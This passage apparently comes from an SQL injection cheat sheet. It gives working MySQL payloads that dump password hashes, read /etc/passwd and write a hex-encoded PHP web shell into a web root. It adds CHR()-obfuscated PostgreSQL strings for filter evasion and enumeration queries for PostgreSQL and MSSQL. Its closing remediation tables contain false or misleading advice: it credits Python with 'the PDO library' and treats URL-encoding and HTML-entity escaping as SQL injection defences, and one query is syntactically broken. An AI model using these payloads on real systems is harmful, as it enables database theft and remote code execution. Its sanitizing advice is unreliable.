 select concat(user,0x2f,password) from mysql.user limit 1

• Grab /etc/passwd

 select load_file(0x2f6574632f706173737764)

• Dump a small php shell (<?php system($_GET['id']); ?>) into /var/www/localhost/htdocs

 select 0x3c3f7068702073797374656d28245f4745545b276964275d293b203f3e into outfile '/var/www/localhost/htdocs/.shell.php'

PostgreSQL Syntax Reference

• Comment notations:

• Handy functions & Environment Variables:

 current_database()
 current_user()
 chr()
 ascii()
 substr()

Quick and common string concatenations:

String concatenation in postgresql is done using the two pipe operators side by side, e.g. "select chr(97)||chr(97)" is the same as "select 'aa'".

• Congruent to select 'BASE TABLE';:

 (SELECT CHR(66)||CHR(65)||CHR(83)||CHR(69)||CHR(32)||CHR(84)||CHR(65)||CHR(66)||CHR(76)||CHR(69))

• Congruent to select 'pg_catalog';:

 (SELECT CHR(112)||CHR(103)||CHR(95)||CHR(99)||CHR(97)||CHR(116)||CHR(97)||CHR(108)||CHR(111)||CHR(103))

• Congruent to select 'information_schema';:

 (SELECT CHR(105)||CHR(110)||CHR(102)||CHR(111)||CHR(114)||CHR(109)||CHR(97)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(95)||CHR(115)||CHR(99)||CHR(104)||CHR(101)||CHR(109)||CHR(97))

PostgreSQL Schema Mapping

• \dn equivilent:

 select schema_name from information_schema.schemata where catalog_name=current_database() limit 1 offset 0

• \dt equivilent:

 select table_name from information_schema.tables table_type='BASE TABLE' AND table_schema=([schema_query]) and catalog_name=current_database() limit 1 offset 0

• \d [table_name] equivilent:

 select column_name from information_schema.columns where table_name=([table_query]) and table_schema=(schema_query) and catalog_name=current_database() limit 1 offset 0

Microsoft SQL Syntax Reference

• Comment notation:

 /*   [*/]
 %23 (# urlencoded) 
 --[space]

• Handy functions, statements, and Environment Variables:

 database()
 @@version

String concatenation is preformed in Microsoft SQL via the + character.

Microsoft SQL Schema Mapping (Unprivileged)

• Obtaining the first table:

 select top 1 table_name from (select top 1 table_name from information_schema.columns where table_catalog=@@database group by table_name order by table_name desc) sq group by table_name order by table_name asc

• Obtaining the first column:

 select top 1 column_name from (select top 1 column_name from information_schema.columns where table_catalog=@@database and table_name='[table_name]' group by column_name order by column_name asc) sq group by column_name order by column_name desc

Patching SQL Injection Vulnerabilities

Proper type handling and sanitizing

• Ruby input sanitizing:

  [Sanitizes For]  | [Type]  |  [Engine]  | [Example]
XSS, SQL Injection | String  | Any        | var = HTMLEntities.encode(var,:basic:)
SQL Injection      | String  | MySQL      | var = Mysql.escape_string(var)
SQL Injection      | String  | PostgreSQL | var = PGconn.escape_string(var)
XSS, SQL Injection | Integer | Any        | var = var.to_i

• PHP input sanitizing:

  [Sanitizes For]  | [Type]  |  [Engine]  | [Example]
XSS, SQL Injection | String  | Any        | $var = htmlentities($_GET['var'],ENT_QUOTES);
SQL Injection      | String  | MySQL      | $var = mysql_real_escape_string($_GET['var']);
SQL Injection      | String  | PostgreSQL | $var = pg_escape_string($_GET['var']);
XSS, SQL Injection | Integer | Any        | $var = (int)$_GET['var'];

• Python input sanitizing:

Protip: Python2.6 and newer defaults to using the PDO library (which uses prepared statements). Thus, this table only refers to legacy applications built in python versions <= 2.4 that require manual sanitizing.

  [Sanitizes For]  | [Type]  |  [Engine]  | [Example]
XSS, SQL Injection | String  | Any        | var = urllib.urlencode(var)
SQL Injection      | String  | MySQL      | var = conn.escape_string(var)
SQL Injection      | String  | PostgreSQL | var = psycopg2.extensions.adapt(var)
XSS, SQL Injection | Integer | Any        | var = int(var)

• Perl

Further Reading

Related Content:

• SQL Backdoors
• MySQL
• Programming language specifications: Perl,Python,C,C++

Related Tools:

• MySql 5 Enumeration
• Wordpress Fingerprinting

External Links:

• MySQL 3/4 Reference Manual
• MySQL 5 Reference Manual
• MySQL 6 Reference Manual

• Postgres 7 Reference Manual
• Postgres 8 Reference Manual
• Postgres 9 Reference Manual

• MSDN SQL Server Resources